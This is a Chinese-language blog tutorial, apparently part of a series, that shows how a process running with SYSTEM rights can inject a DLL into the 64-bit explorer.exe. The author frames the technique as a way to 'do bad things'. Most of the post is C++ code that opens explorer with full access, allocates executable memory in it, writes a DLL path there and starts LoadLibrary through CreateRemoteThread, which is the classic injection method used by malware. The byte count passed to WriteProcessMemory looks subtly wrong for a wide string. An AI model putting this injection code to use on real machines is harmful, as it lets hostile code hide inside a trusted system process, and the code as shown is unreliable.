提升為系統權限,注入到explorer中
一丶簡介
我們上一面說了系統服務擁有系統權限.並且擁有system權限.還嘗試啟動了一個進程.
那么我們是不是可以做點壞事了.
我們有一個系統權限進程.而調用 CreateRemoteThread可以創建遠程線程,是否可以注入到我們桌面資源管理器當中那.
答案是可以的.我也試過提權的方式注入.可惜都是拒絕訪問.所以我提升為system權限(系統服務,創建的我們進程就是system權限)
然后進行注入的.最后是可以注入的.
我們資源管理器是64位的,所以我們的進程需要也是64.我們的DLL 也要64.當然網上很多32進程注入DLL到64位各種都很多.
這里為了方便.直接 64進程+64DLL進行注入的.
代碼如下:
void Cx64InjectProcessDlg::OnBnClickedOk()
{
//AdjustPrivileges();
// TODO: 在此添加控件通知處理程序代碼
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if (!wcscmp(_wcsupr(pe32.szExeFile), _wcsupr(TEXT("EXPLORER.EXE"))))
{
HANDLE hProHandle =
OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pe32.th32ProcessID);
//進行注入
if (NULL == hProHandle)
{
OutputDebugString(TEXT("權限失敗"));
return;
}
LPVOID lpAddr = VirtualAllocEx(hProHandle, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == lpAddr)
{
return;
}
TCHAR szBuf[MAX_PATH] = TEXT("x64Test.dll");
//GetCurrentDirectory(sizeof(szBuf), szBuf); //這三行代碼主要是拼接我們的DLL,DLL是我們自己寫的
//wcscat(szBuf, TEXT("x64Test.dll"));//DLL這里就不寫了,用我的吧,我會發上去的
OutputDebugString(szBuf);
BOOL bRet = WriteProcessMemory(hProHandle, lpAddr, szBuf, wcslen(szBuf) + 2, NULL);
if (!bRet)
{
return;
}
HANDLE hThreadHandle = CreateRemoteThread(hProHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)LoadLibrary,
lpAddr,
0,
NULL);
if (!hThreadHandle)
{
OutputDebugString(TEXT("注入失敗了"));
return;
}
OutputDebugString(TEXT("注入了"));
return;
}
} while (Process32Next(hProcessSnap, &pe32));
bRet = TRUE;
}
else
bRet = FALSE;
CloseHandle(hProcessSnap);
return CDialogEx::OnOK();
}